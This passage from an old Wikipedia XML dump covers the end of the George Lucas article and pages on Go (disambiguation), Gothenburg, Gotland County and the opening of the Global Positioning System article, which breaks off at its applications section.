*''[[American Graffiti]]'' ([[1973]]) (director, writer)
*''[[Star Wars Episode IV: A New Hope]]'' ([[1977]]) (director, writer)
*''[[Star Wars Episode V: The Empire Strikes Back]]'' ([[1980]]) (executive producer, co-writer, uncredited co-director)
*''[[Raiders of the Lost Ark]]'' ([[1981]]) (co-writer, executive producer)
*''[[Star Wars Episode VI: Return of the Jedi]]'' ([[1983]]) (executive producer, co-writer, uncredited co-director)
*''[[Indiana Jones and the Temple of Doom]]'' ([[1984]]) (co-writer, executive producer)
*''[[Willow (movie)|Willow]]'' ([[1988]]) (writer, executive producer)
*''[[Tucker: The Man and His Dream]]'' ([[1988]]) (executive producer)
*''[[Indiana Jones and the Last Crusade]]'' ([[1989]]) (co-writer, executive producer)
*''[[The Young Indiana Jones Chronicles]]'' ([[1992]] - [[1996]]) (story, executive producer)
*''[[Star Wars Episode I: The Phantom Menace]]'' ([[1999]]) (director, writer, executive producer)
*''[[Star Wars Episode II: Attack of the Clones]]'' ([[2002]]) (director, co-writer, executive producer)
*''[[Star Wars Episode III: Revenge of the Sith]]'' ([[2005]]) (director, writer, executive producer)
*''[[Indiana Jones IV]]'' ([[2007]]) (Producer)
*''[[Red Tails]]'' ([[2007]])

=== Student and short films ===

*''[[Look at Life]]'' ([[1965]])
*''[[Herbie (George Lucas Student Film)|Herbie]]'' ([[1966]])
*''[[1:42:08]]'' ([[1966]])
*''[[The Emperor,]]'' ([[1967]])
*''[[Electronic Labyrinth THX 1138:4EB]]'' ([[1967]])
*''[[Anyone Lived in a Pretty How Town]]'' ([[1967]])
*''[[6-18-67]]'' ([[1967]])
*''[[Filmmaker (George Lucas film)|Filmaker]]'' ([[1968]])

=== Other films ===

*''[[The Star Wars Holiday Special]]'' ([[1978]]) (story)
*''[[More American Graffiti]]'' ([[1979]]) (executive producer)
*''[[Kagemusha]]'' also known as ''[[Kagemusha|The Shadow Warrior]]'' ([[1980]]) (Executive Producer of International Edition)
*''[[Body Heat]]'' ([[1981]]) (uncredited executive producer)
*''[[Twice Upon a Time]]'' ([[1982]]) (executive producer)
*''[[Caravan of Courage: An Ewok Adventure]]'' ([[1984]]) (executive producer, story)
*''[[Ewoks: The Battle for Endor]]'' ([[1985]]) (executive producer, story)
*''[[Mishima]]'' ([[1985]]) (executive producer)
*''[[Howard the Duck]]'' ([[1986]]) (executive producer)
*''[[Captain Eo]]'' ([[1986]]) (producer, screenplay)
*''[[Labyrinth (movie)|Labyrinth]]'' ([[1986]]) (executive producer)
*''[[The Land Before Time]]'' ([[1988]]) (executive producer)
*''[[Hook (film)|Hook]]'' ([[1991]]) (cameo as &quot;man kissing on bridge&quot;)
*''[[Beverly Hills Cop III]]'' ([[1994]]) (cameo as &quot;Disappointed Man&quot;)
*''[[Radioland Murders]]'' ([[1994]]) (story)

== Trivia ==

*Made his first cameo appearance in the Star Wars series in [[Star Wars Episode III: Revenge of the Sith]].
*In [[1976]], Lucas published a novelization of ''A New Hope'', which was initially (like the film) titled just ''Star Wars''. Although Lucas was credited as author of the book, it was later revealed that the book was actually [[ghost writer|ghost written]] by [[Alan Dean Foster]], who would also write ''[[Splinter of the Mind's Eye]]'', the first original ''Star Wars'' novel and, in many respects, the first ''Star Wars'' sequel.
*As a tribute to his first film, ''[[THX-1138]]'', it is said that each of his films (most notably the ''Star Wars'' saga) contains the number [[1138 (number)|1138]] hidden as an [[Easter egg (virtual)|Easter egg]], and each of his movies are also made with the sound company, [[THX]].  It is also rumored that while growing up in California, the last seven digits of his home telephone number were 849-1138, where the 849 corresponds with the letters THX on a standard telephone.
*Was an executive producer of the [[box office]] bomb ''[[Howard the Duck]]''. He disowned the film shortly after its release.
*Lucas credits his friend [[John Milius]] with introducing him to the films of Japanese director [[Akira Kurosawa]], whose works (including [[Seven Samurai]]) inspired the ''Star Wars'' films.
*George Lucas was honored by the AFI, and was given a Life Achievement Award for his contribution to the movie entertainment industry.
*Lucas is a member of the [[United Methodist Church]], though conflicting reports describe him as either stating that he doesn't adhere to a specific religion or as a &quot;Buddhist-Methodist&quot;{{fact}}
*In his spare time, Lucas enjoys playing ''Star Wars'' video games with his children. He has also been known to read some of the ''Star Wars'' comic books, including ''[[Dark Empire]]''. At one point, Lucas even said that he liked the story presented in the ''[[Star Wars: Shadows of the Empire]]'' multimedia project so well, that if he had had the story in the 80's, he might have produced a film based on the events in it.
*Has upset some of his long time Star Wars fans by refusing to release the original Star Wars trilogy in its original format on DVD, and has endured some harsh criticism for his handling of the Star Wars prequels, which many found to be flat, wooden and uninspiring. Some even feel that he has destroyed and cheapened the integrity of his own masterpiece.
*Friend [[Steven Spielberg]] called Lucas a pure independent filmmaker, as Lucas is very ensconced in Northern [[California]] in the [[San Francisco]] area.
*He based the character of [[Han Solo]] on his friend [[Francis Ford Coppola]].
*His nickname in high school was Luke. This later became the name of the hero of his original Star Wars trilogy, Luke Skywalker.
*Sold Lucasfilm's Computer Graphics Division to Apple Computer co-founder [[Steve Jobs]], and it later became [[Pixar Animation Studios]].

== External links ==

{{Wikiquote}}
*{{imdb name|id=0000184|name=George Lucas}}
*[http://www.letterstogeorge.com/ Write George Lucas and read other fan mail to George]
*[http://www.starwars.com/bio/georgelucas.html Star Wars: Bio | George Lucas]
*[http://www.glef.org/ The George Lucas Educational Foundation]
*[http://www.filmmakers.com/artists/lucas/ Resource and Entertainment by FilmMakers Magazine]
*[http://www.insideskywalkerranch.com/ Inside Skywalker Ranch]
*[http://www.thankyougeorge.com/index?c1=ThnkYouGrg&amp;source=wikipedia&amp;kw=none A Tribute for 28 Years of Star Wars, Sign the Letter to George Lucas.]
*[http://www.afi.com/tvevents/laa/laa05.aspx/ AFI Life Achievement 2005]
*[http://www.droidmaker.com/biblio.htm The online bibliography section of &quot;DROIDMAKER: George Lucas and the Digital Revolution&quot;]
*[http://www.achievement.org/autodoc/page/luc0int-1 Interview with Lucas, including video and full biography at Achievement.org]
*[http://www.edutopia.org/magazine/ed1article.php?id=Art_1160&amp;issue=sept_04 &quot;Life On The Screen&quot;:] The filmmaker argues that students must learn a new language of image and sound in order to succeed from [[Edutopia]]
*[http://www.wired.com/wired/archive/13.05/lucas.html?pg=1&amp;topic=lucas&amp;topic_set= &quot;Life after Darth&quot;:] an in-depth look at George Lucas's artistic influences and future aspirations from [[Wired magazine|Wired]]

[[Category:1944 births|Lucas, George]]
[[Category:Living people|Lucas, George]]
[[Category:Adoptive parents|Lucas, George]]
[[Category:American film directors|Lucas, George]]
[[Category:American film producers|Lucas, George]]
[[Category:Associate's degree holders|Lucas, George]]
[[Category:Buddhists|Lucas, George]]
[[Category:Diabetics|Lucas, George]]
[[Category:English Americans|Lucas, George]]
[[Category:Forbes 400|Lucas, George]]
[[Category:German-Americans|Lucas, George]]
[[Category:Methodists|Lucas, George]]
[[Category:Movie moguls|Lucas, George]]
[[Category:People from California|Lucas, George]]
[[Category:Star_Trek_fans|Lucas, George]]
[[Category:Star Wars directors|Lucas, George]]
[[Category:Star Wars-related people|Lucas, George]]
[[Category:Swiss-Americans|Lucas, George]]
[[Category:University of Southern California alumni|Lucas, George]]
[[Category:Worst Director Razzie Nominee|Lucas, George]]




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    <title>Geologic Timescale</title>
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      <id>15909572</id>
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  <page>
    <title>Go</title>
    <id>11860</id>
    <revision>
      <id>39131893</id>
      <timestamp>2006-02-10T22:38:22Z</timestamp>
      <contributor>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.81.3.173|24.81.3.173]] ([[User talk:24.81.3.173|talk]]) to last version by Super-Magician</comment>
      <text xml:space="preserve">{{wiktionarypar2|Go|go}}
'''[[Go (verb)]]''' is a commonly used verb

Games:
* [[Go (board game)]], a Chinese board game
* [[Go (game show)|''Go'' (game show)]], a television game show of the early 1980s

Companies and organizations:
* [[Go (TV channel)]], in South Africa
* [[GO.com]], Walt Disney's internet portal
* [[GO Corporation]], a pen-based computing company
* [[Go Fly]], a British airline
* [[GO Transit]], Ontario, Canada's provincial transit service

Motion pictures, radio and music:
* ''[[Go!]]'', an album by the rock band Letters To Cleo
* [[Go (1999 film)|''Go'' (1999 film)]], an American motion picture
* [[Go (2001 film)|''Go'' (2001 film)]], a Japanese motion picture
* [[Go (radio)]], a Canadian radio program
* [[Go (Sarah Bettens)|''Go'' (Sarah Bettens)]], a mini-album
* [[Go (Vertical Horizon album)|''Go'' (Vertical Horizon album)]]
* [[Go (Dexter Gordon album)|''Go'' (Dexter Gordon album)]]

People:
* [[Go Nagai]], a Japanese comic artist
* [[Go Seigen]], a go player
* &quot;Go&quot;, a Japanese pseudonym; see [[art-name]]
* Go Mifune, the main protagonist in ''[[Speed Racer]]''

Symbols, codes and abbreviations:
* [[Glorioso Islands]] (FIPS country code)
* [[Gigaoctet]], a unit of quantity of information
* [[Gene Ontology]], which describes gene and protein function

Anime and Manga
* [[Hikaru no Go]], a popular Go Anime and Manga

{{2LCdisambig}}
&lt;!-- The below are interlanguage links. --&gt;
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  <page>
    <title>Gothenburg</title>
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      <text xml:space="preserve">{{alternateuses}}
{{Infobox_Kommun2|
name=Gothenburg|
fullname=Göteborgs stad|
isocode=&amp;nbsp;|
centre=City|
capital=Gothenburg|
governor=|
county=[[Västra Götaland County]]|
province=[[Västergötland]], [[Bohuslän]]|
arearank=183rd|
area=451|
areapercent=x.x|
population_as_of=2005|
populationrank=2nd|
population=485,000|
populationpercent=x.x|
populationdensity=1060.0|
coatofarms=[[Image:City of Gothenburg.png|90px]]|
map=[[Image:Göteborg in Sweden.png|180px]]|
locationReadable=57° 42´ N, 11° 55´ E|
location=57_42_N_11_55_E|
}}
'''Gothenburg''' ([[Swedish language|Swedish]]: {{Audio|sv-Göteborg.ogg|''Göteborg''}})  {{IPA|/ˌjœtɛ'bɔrj/}}) is a [[City status in Sweden|city]] and [[Municipalities of Sweden|municipality]] on the west-coast of [[Sweden]], in the [[Counties of Sweden|County]] of [[Västra Götaland County|Västra Götaland]]. As of [[2005]], the population amounted to 485,000 in the actual city and 872,000 in the [[Metropolitan Gothenburg|metropolitan area]] making it the second largest city in Sweden, after [[Stockholm]]. Gothenburg is the seat of residence for the county, which itself is located in the historical province of [[Västergötland]].

==History==
[[Image:Arkeologi - Rekonstruktionsritning av staden Nya Lödöse.jpg|thumb|left|Nya Lödöse (New Lödöse) at the end of the 16th century.]]
[[Image:Carl Milles Poseidon 01.jpg|thumb|300px|The statue of [[Poseidon]] by [[Carl Milles]] at [[Götaplatsen]] is a frequently used symbol of the city.]]

In the Middle Ages the town of [[Lödöse]] - 40 kilometers north of present day Gothenburg up the [[Göta älv]] - served as trade centre and port to the west. For strategic reasons (the Norwegian [[Båhus Fortress|Bohus Fortress]] was a threat further down the river) the town was moved closer to the sea. But the new settlement, Nya Lödöse (New Lödöse), also had its problems and the town dwellers had to seek protection at the old [[Älvsborg Fortress]].

In the early [[17th century]] Sweden controlled only one point on the western coastline. An attempt in [[1607]] to found a city by the name of Gothenburg on the nearby island of [[Hisingen]] had failed due to the [[Kalmar War]], but the second attempt in [[1621]], by King [[Gustavus Adolphus of Sweden|Gustavus Adolphus]] (Gustaf II Adolf), was successful. Following the successive wars, by [[1658]] all the [[Denmark|Danish]] eastern [[Terra Scania|provinces]] were ceded to Sweden, by the [[Treaty of Roskilde]]; it meant that [[Halland]], south of Gothenburg, and Bohus county ([[Bohuslän]]), north of Gothenburg, became Swedish - making Gothenburg's position less exposed and enabling the town to grow into an important port and trade centre on the west coast. 

In the 18th century the [[Swedish East India Company]] in Gothenburg became the largest trading company in Sweden.

In [[Dutch language|Dutch]], [[Scots language|Scots]], [[German language|German]] and [[English language|English]]- languages with a long history of being spoken in the trade and maritime-oriented city - the name ''Gothenburg'' (with varying [[pronunciation]]s) was traditionally used for the city, while the [[French language|French]] form of the city name is ''Gothembourg''. These traditional forms are now widely replaced with the use of the Swedish form ''Göteborg''.

==Politics== 
The [[legislative]] body of Gothenburg is the [[City Council]] with 81 members elected by [[proportional representation]] for a four-year term. The council appoints an [[executive (government)|executive]] 13-member [[Board of Commissioners]], headed by the [[mayor]]. Currently, the mayor of Gothenburg is [[Göran Johansson]], from the [[Swedish Social Democratic Party|Social Democratic Party]] 

The municipality is subdivided into 21 [[borough]]s, which carry responsibility for [[primary school]], social, leisure, and cultural services within their respective areas. A point of some controversy is the fact that the borough councils do not reflect the local majority, but follow the majority at City Hall for the entire municipality. In the [[Elections in Sweden|election]] of [[1998]] three boroughs -- [[Askim]], [[Torslanda]] and [[Älvsborg]] -- held local referenda on forming their own municipalities, but their petitions were rejected by the [[Government of Sweden]].

&lt;table&gt;&lt;tr&gt;&lt;td&gt;
*[[Askim, Sweden|Askim]]
*[[Backa, Sweden|Backa]]
*[[Bergsjön]]
*[[Biskopsgården]]
*[[Gothenburg City Centre|Centre]]
*[[Frölunda]]
*[[Gunnared]]
&lt;td&gt;
*[[Härlanda]]
*[[Högsbo]]
*[[Kortedala]]
*[[Kärra-Rödbo]]
*[[Linnéstaden]]
*[[Lundby]]
*[[Lärjedalen]]
&lt;td&gt;
*[[Majorna]]
*[[Styrsö]]
*[[Torslanda]]
*[[Tuve-Säve]]
*[[Tynnered]]
*[[Älvsborg, Sweden|Älvsborg]]
*[[Örgryte]]
&lt;/table&gt;

==Geography==
[[Image:Gothenburgharbour.JPG|thumb|right|300px|Göta älv and the city viewed from the Älvsborg bridge]]

''Main article: [[Geography of Gothenburg]]''

Situated on the western coast by [[Kattegatt]], an arm of the [[North Sea]], at the outlet of the river [[Göta älv]] and the [[Göta Canal]].  Due to the [[Gulf Stream]] the city has a mild climate and quite a lot of rain. The [[archipelago]] of Gothenburg consists of rough, barren rocks and cliffs, which also is typical for the coast of [[Bohus County]].

The Gothenburg Metropolitan Area extends to the municipalities of [[Ale, Sweden|Ale]],  [[Härryda]], [[Kungälv]], [[Lerum]], [[Mölndal]], [[Partille]], [[Stenungsund]], [[Tjörn]], [[Öckerö]] in [[Västra Götaland County]] and [[Kungsbacka]] in [[Halland County]].

==Transportation==
[[Image:Göteborg spårvagn.jpg||thumb|right|300px|Gothenburg's popular [[tram]]s travel the wide streets (the one shown here is a vintage tram used mostly by tourists)]]

The main airport is located at [[Gothenburg-Landvetter Airport|Landvetter]], 20 km east of Gothenburg. The smaller [[Gothenburg City Airport]] lies 14 km northwest of the city. Other major transportation hubs are ''Centralstationen'' (&quot;the Central Station&quot;) and the [[Nils Ericson Terminal]] with trains and buses to various destinations in Sweden, as well as connections to [[Oslo]] and [[Copenhagen]]. Several ferry lines run to/from [[Fredrikshavn]], [[Kiel]], [[Kristiansand]] and [[Newcastle upon Tyne|Newcastle]].

Gothenburg is a logistic centre, with transports by train and truck from Sweden and Norway to Gothenburg harbor which is by far the largest port in Skandanavia.

==Demographics==
Gothenburg, as most Swedish metropolitan areas, has a large immigrant population. According to SCB in 2005, there is 93,965 immigrants resident in Gothenburg, which is about 20% of the population, out of which 10% is from [[Iran]] and 9% from [[Finland]]. The Iranian population, as well as other immigrants from the [[Middle East]] (notably [[Iraq]]) and former [[Yugoslavia]], is concentrated in [[Angered]] (most notably [[Bergsjön]], Hjällbo and Hammarkullen) and other suburbs in the north east. This has recieved criticism from the Intergrations Verket, since these areas are becoming more and more subjects of [[segregation]].

==Economy==
By its naturally advantageous location, Gothenburg houses the largest and most important [http://www.portgot.se/ harbor]  installation in [[Scandinavia]]. Trade and shipping have always been important businesses and in the [[18th century]], the city was the home to the [[Swedish East India Company]]. Industry developed into an important business, e.g., [[SKF]], [[Volvo]] and [[Ericsson]].

The blue collar industries dominated until the late 80's when shipyards started to shut down. Today the town has a mix of hi tech industries with Volvo Car being the largest employer and a number of smaller computer software vendors.

==Universities==
''Main article: [[Universities in Sweden]]''

*[[Gothenburg University]]
*[[Chalmers University of Technology]]
*[[IT University of Göteborg]]
*[[Gothenburg School of Economics and Commercial Law]]

==Sites of interest==
[[Image:Goteborg.jpg|thumb|left|230px|Gothenburg viewed from  the [[Skansen Crown|Crown skans]]]]

Gothenburg has a wide selection of cultural establishments, including theatres and museums. A new [[opera]] house was inaugurated in [[1994]], the [[Gothenburg Opera]]. Museums include art ([[Gothenburg Museum of Art]]), design and handcrafts (the [[Röhss Museum]]), sea history, natural history, science, East India, and the [[Museum of World Culture]] [http://www.varldskulturmuseet.se/smvk/jsp/polopoly.jsp?d=126&amp;l=sv_SE] inaugurated in [[2004]]. 
[[Image:Göteborg från Liseberg.jpg|thumb|right|300px|Gothenburg viewed from [[Liseberg]] amusement park]]

The [[Göteborg Botanical Garden]] [http://w3.goteborg.se/botaniska/engelska/english_start.html] is considered to be one of the most outstanding [[botanical garden]]s in [[Europe]]. 

The amusement park [[Liseberg]] located in the central part of the city, is the largest in Scandinavia, and among the most popular attractions in Sweden. Next to Liseberg is the science discovery centre [[Universeum]]. 

The central city and the harbour can be viewed from the [[GötheborgsUtkiken|The Gothenburg Lookout]].

Another tourist attraction is the archipelago of Gothenburg, it can be reached by boat; [[Älvsborg Fortress]], [[Vinga (Gothenburg)|Vinga]] and [[Styrsö]] islands are popular places to visit.


==Sports==
;Held events:

* [[1992 European Football Championship]]
* [[1993 in sports|1993]] [[World Men's Handball Championship]]
* 1993 World Championships in [[Table tennis]]
* [[1995 World Championships in Athletics]]
* [[1997 in sports|1997]] World Championships in [[Swimming]] (Short track)
* 1997 [[Davis Cup]] Finals, [[Tennis]], [[Sweden]]-[[United States]]
* 1997 World Championships in [[Latin dances|Latin American Dance]]
* 1998 World Championships in [[Latin dances|Latin]] [[Formation dance|Formation Dancing]]
* [[1999 in sports|1999]] European Championships in [[Athletics]] (20-22 year olds)
* [[2002 European Men's Handball Championship]]
* 2002 [[Ice Hockey World Championships]]
* 2002 [[Volvo Ocean Race]]
* [[2003 in sports|2003]] World Championships in Skating (allround)
* [[2004 in sports|2004]] O-Ringen - A 5-days [[orienteering]] competition
* [[2004 in sports|2004]] World Championships in Skating (short track)
* [[2004 in sports|2004]] [[UEFA Cup]] Final

;Annual events:
[[Image:Nyaullevi.jpg|thumb|right|300px|The [[Ullevi]] Arena in central Gothenburg]]

*[[Gothia Cup]]

;Planned events:

* [[2006 European Championships in Athletics]]
* [[World Figure Skating Championships|2008 World Figure Skating Championships]]

;Arenas:

* [[Scandinavium]] ([[ice hockey]])
* [[Gamla Ullevi]] ([[football (soccer)|football]])
* [[Ullevi]] (multisport)

;Teams:

* [[Frölunda HC]] ([[ice hockey]])
* [[GAIS]] ([[football (soccer)|football]])
* [[IFK Göteborg]] (football)
* [[BK Häcken]] (football)
* [[Örgryte IS]] (football)

==Notable natives==
*[[Ace of Base]], pop group
*[[Daniel Alfredsson]], captain and MVP of the [[NHL]]'s [[Ottawa Senators]]
*[[William Chambers (architect)|Sir William Chambers]] (1723-1796), Scottish architect
*[[William Chalmers]] (1748-1811), manager of the [[Swedish East India Company]] and founder of [[Chalmers University of Technology]]
*[[Ulf Dageby]], rock musician. 
*[[In Flames]], melodic death metal group
*[[Gunnar Gren]], legendary [[Football (soccer)|football]] player
*[[Bengt Hallberg]], jazz pianist
*[[Hammerfall]], power metal group
*[[Håkan Hellström]], singer-songwriter
*[[Zeth Höglund]], founder of the swedish communist movement 
*[[Jan Johansson]], jazz pianist
*[[Ingemar Johansson]], boxer and World Heavyweight Champion in [[1959]]
*[[Torbjörn Nilsson]], former [[IFK Göteborg]] football player, part of the 1982 [[UEFA Cup]] winning team
*[[Christian Olsson]] (born 1980), [[triple jump]] gold medalist in the [[2004 Summer Olympics]]
*[[Helena Paparizou]], winner of the [[Eurovision Song Contest 2005|2005 Eurovision Song Contest]]
*[[Laleh|Laleh Pourkarim]], Persian-Swedish singer-song-writer
*[[Marcus Samuelsson]], renowned chef
*[[Jonas Svensson]], professional tennis player 
*[[Dark Tranquillity]], melodic death metal group
*[[Papa Dee|Daniel &quot;Papa Dee&quot; Wahlgren]], musician
*[[Soilwork]], melodic death metal group

==Miscellaneous topics==

Off the coast of Gothenburg is the [[Southern Gothenburg Archipelago]], a group of completely [[Auto-free zone|car-free]] islands.

The city of Gothenburg has the worst air pollution in Sweden. In 2006, the number of days where the levels of [[NO2]] was higher than 60mg/m3 had exceeded the EU air pollution limit for the year by the end of January. The level of dust [[PM10]] also exceeds the EU framework directive for ambient air quality 1999/30/EC and the four Daughter Directives. Not surprisingly is Gothenburg the only city in Sweden that has a regular [[Critical Mass]] demonstration every month.

Gothenburg is perhaps the city with the highest concentration of cafés and coffee shops in Sweden; with a large group of students in the city centre and a long tradition of more traditional cafés the number of establishments exploded in the 1990's.

On the evening of October 29 [[1998]], a [[fire]] developed in the premises of the ''[[Macedonians (ethnic group)|Macedonian]] Association'' [[discotheque]] in Gothenburg.  On the evening of the fire it was estimated that the number of people in the disco reached 400. In this incident 63 people died[http://fseg.gre.ac.uk/fire/Gothenburg_fire_proj.html] [http://www.emergency-management.net/Gothenburg%20Report.pdf].

Gothenburg is also noted for being the centre of the [[melodic death metal]] movement, a typically Swedish musical style, being home to such internationally known bands as [[At The Gates]], [[Dark Tranquillity]], [[The Haunted]], [[In Flames]], and [[Arch Enemy (band)|Arch Enemy]]. It is also a [[pop music]] center in [[Sweden]], with an active indie scene.

Gothenburg has been in a friendship partnership with the South African City of [[Port Elizabeth]] since 1998, a partnership fostering development of common fields of interest such as solid waste management, public libraries, sport and tourism.
&lt;!-- missing [[Image:gothenburg.jpg]] --&gt;

==See also==
* [[East Indiaman Götheborg]]
* [[Eurovision Song Contest 1985]]
* [[Gothenburg City Airport]]
* [[Gothenburg-Landvetter Airport]]
* [[Gothenburg Opera]]
* [[Gothenburg Symphony Orchestra]]
* [[Protests during the EU summit in Gothenburg 2001]]

==External links==
{{commons|Göteborg}}
*{{wikitravel|Göteborg}}
*[http://www.goteborg.se/prod/sk/goteborg.nsf/1/english?OpenDocument Gothenburg] - Official City site
*[http://www.goteborg.com/en Gothenburg &amp; Co.] - Official Tourist site
*[http://www.gotbot.se/engelska/english_start.html Gothenburg Botanic Garden] - Official site
*[http://www.hotels-sweden.com/site/homep_60024.htm Hotels in Gothenburg]
*[http://drokov.narod.ru/photos/sweden200410/index.htm Photos from Gothenburg]
*[http://www.arch.chalmers.se/projekt/sar/Docs/GuideAGS_EN.pdf Architecture in Gothenburg] - Pdf-guide in english 

{{Västra Götaland County}}
{{Cities in Sweden}}

[[Category:Coastal cities]]
[[Category:Eurovision host cities]]
[[Category:Gothenburg|*]]
[[Category:Metropolitan Gothenburg]]
[[Category:Municipalities of Sweden]]
[[Category:Municipalities of Västra Götaland County]]
[[Category:Towns in Sweden]]

[[bg:Гьотеборг]]
[[ca:Göteborg]]
[[da:Göteborg]]
[[de:Göteborg]]
[[el:Γκέτεμποργκ]]
[[eo:Göteborg]]
[[es:Gotemburgo]]
[[fi:Göteborg]]
[[fr:Göteborg]]
[[he:גוטנבורג]]
[[ia:Göteborg]]
[[id:Göteborg]]
[[ja:イェーテボリ]]
[[la:Gothoburgum]]
[[hu:Göteborg]]
[[nds:Göteborg]]
[[nl:Gotenburg]]
[[no:Göteborg]]
[[nn:Göteborg]]
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[[pt:Gotemburgo]]
[[sv:Göteborgs Stad]]
[[tr:Göteborg]]</text>
    </revision>
  </page>
  <page>
    <title>Göteborg</title>
    <id>11862</id>
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      <contributor>
        <username>Mic</username>
        <id>6273</id>
      </contributor>
      <minor />
      <comment>Reverted to last edit by Bryan Derksen</comment>
      <text xml:space="preserve">#REDIRECT [[Gothenburg]]</text>
    </revision>
  </page>
  <page>
    <title>Gotland County</title>
    <id>11863</id>
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      <id>40643802</id>
      <timestamp>2006-02-22T00:49:05Z</timestamp>
      <contributor>
        <username>Cattus</username>
        <id>543047</id>
      </contributor>
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      <comment>+ pt wiki</comment>
      <text xml:space="preserve">'''Gotland County''', or ''Gotlands län'', is a [[Counties of Sweden|County]] or ''[[län]]'' of [[Sweden]]. Gotland is located in the [[Baltic sea]] to the east of [[Öland]], and is the largest of Sweden's islands. Counties are usually sub-divided into municipalities, but Gotland County only consists of one municipality: [[Gotland Municipality]]. The difference between the two are only at an administrative level, as the [[county council]] and municipal council serve different tasks. Both have their seat in the largest city [[Visby]], with 22,000 inhabitants.

{{Infobox_Län|
name=Gotland|
fullname=Gotlands län|
isocode=I|
nutscode=094|
capital=[[Visby]]|
province=[[Gotland]]|
governor=[[Marianne Samuelsson]]|
council=[[Gotland Municipality]]|
nuts=[[Småland and the islands]]|
date=[[1658]]|
arearank=20th|
area=3,140|
areapercent=0.8|
population_as_of=1999|
populationrank=21st|
population=57,428|
populationpercent=0.6|
populationdensity=18.3|
GDP_as_of=2004|
GDPrank=21st|
GDP=12,154 Million| &lt;!-- SEK --&gt;
GDPpercapita=212,000| &lt;!-- SEK --&gt;
GDPpercent=0.52|
coatofarms=[[Image:Gotland_county.png]]|
map=[[Image:svcmap_gotland.png]]|
}}

== Province ==
Sweden's counties are mainly administrative units, used for inhabitant figures, politics, etc. For the culture and history of the island, see article [[Gotland]].

== Administration ==
The main aim of the [[County Administrative Boards of Sweden|County Administrative Board]] is to fulfil the goals set in  national politics by the [[Parliament of Sweden|Parliament]] and the [[Government of Sweden|Government]], to coordinate the interests and promote the development of the county, to establish regional goals and safeguard the due process of law in the handling of each case. The County Administrative Board is nominally a [[Government agencies in Sweden|Government agency]] headed by a Governor. See [[List of Gotland Governors]].

Gotland is the only [[Counties of Sweden|Swedish county]] that does not have a [[County Councils of Sweden|county council]], as well as having only one [[Municipalities of Sweden|municipality]] and one [[area code]].

== Politics ==
''Main article: [[Gotland Municipality]]''

The County of Gotland consists of a single municipality and as there is no separate entity for a County Council, those tasks are handled by the [[Municipalities of Sweden|Municipality]] of Gotland. During a trial period the County Council provisions for Gotland has been evolved to provisions for a Regional Council, meaning that it has assumed certain tasks from the County Administrative Board. Similar provisions are applicable to the counties of [[Västra Götaland County|Västra Götaland]] and [[Skåne County|Skåne]] during the trial period.

== Heraldry ==
Gotland County inherited its coat of arms from the province of Gotland. When it is shown with a royal crown it represents the County Administrative Board.

== External links ==
*[http://www.i.lst.se/ Gotland County Administrative Board]
*[http://www.gotland.se/ Gotland Municipality]

{{län}}

[[Category:Counties of Sweden]]
[[Category:Gotland]]

[[de:Gotlands län]]
[[et:Ojamaa lään]]
[[es:Gotland]]
[[fr:Comté de Gotland]]
[[hu:Gotland megye]]
[[nl:Gotlands län]]
[[ja:ゴトランド県]]
[[no:Gotlands län]]
[[pl:Gotland]]
[[pt:Gotlands (condado)]]
[[ro:Gotlands län]]
[[ru:Лен Готланд]]
[[sv:Gotlands län]]</text>
    </revision>
  </page>
  <page>
    <title>Games of Chance</title>
    <id>11864</id>
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      <timestamp>2002-08-22T19:04:57Z</timestamp>
      <contributor>
        <username>Enchanter</username>
        <id>1104</id>
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      <minor />
      <comment>Fixing redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Game of chance]]</text>
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  <page>
    <title>Gene chip</title>
    <id>11865</id>
    <revision>
      <id>15909578</id>
      <timestamp>2003-11-03T15:59:56Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[DNA microarray]]</text>
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  <page>
    <title>Global Positioning System</title>
    <id>11866</id>
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      <id>41939824</id>
      <timestamp>2006-03-02T19:41:25Z</timestamp>
      <contributor>
        <username>Kmf164</username>
        <id>94080</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/70.158.51.100|70.158.51.100]] ([[User talk:70.158.51.100|talk]]) to last version by 165.228.124.254</comment>
      <text xml:space="preserve">[[Image:GPS_Satellite_NASA_art-iif.jpg|thumb|right|250 px|GPS satellite in orbit, image courtesy of [[NASA]]]]
:'''''GPS''' redirects here. For other uses of the acronym '''GPS''', see [[GPS (disambiguation)]].''

The '''Global Positioning System''', usually called '''GPS''', is the only fully-functional [[satellite navigation system|satellite&amp;nbsp;navigation&amp;nbsp;system]].  A constellation of more than two dozen GPS satellites broadcasts precise timing signals by [[radio]] to [[electronic]] GPS receivers which allow them to accurately determine their location ([[longitude]], [[latitude]], and [[altitude]]) in [[real time]], day or night, in any weather, anywhere on [[Earth]].

Since GPS was declared fully operational in 1993, it has become a vital global utility, indispensable for modern navigation on land, sea, and air around the world, as well as an important tool for [[cartography|map-making]], and [[surveying|land surveying]].  GPS also provides an extremely precise [[time transfer|time reference]], required for some scientific research, including the study of  earthquakes.

The Wide-Area Augmentation System ([[WAAS]]), available since August 2000, increases the accuracy of GPS signals to within 2 meters (6 ft) [http://gps.faa.gov/Library/waas-f-text.htm] for compatible receivers.   GPS accuracy can be improved further, to about 1 cm (half an inch) over short distances, using techniques such as Differential GPS ([[Differential GPS|DGPS]]). 

[[United States Department of Defense]] developed the system, officially named '''NAVSTAR GPS''' ('''Nav'''igation '''S'''ignal '''T'''iming '''a'''nd '''R'''anging '''G'''lobal '''P'''ositioning '''S'''ystem).  The satellite constellation is managed daily by the [[50th Space Wing]] &lt;!-- [[2d Space Operations Squadron]] inactivated as of 1992 --&gt; at [[Schriever Air Force Base]].  Although the cost of maintaining the system is approximately US$400 million per year, including the replacement of aging satellites, GPS is available for free use in civilian applications as a [[public good]]. 

{{ImageStackRight|300|
[[Image:Magellan GPS Blazer12.jpg|thumb|right|250px|Magellan GPS receiver in a marine application.]]
[[Image:Navstar.jpg|thumb|right|250 px|Over fifty '''GPS''' [[satellite]]s such as this [[NAVSTAR]] have been launched since 1978. ]]
}}

== Applications ==
[[Image:NAVSTAR_GPS_logo_shield-official.jpg|right|thumb|100 px]]
* '''Military Applications'''
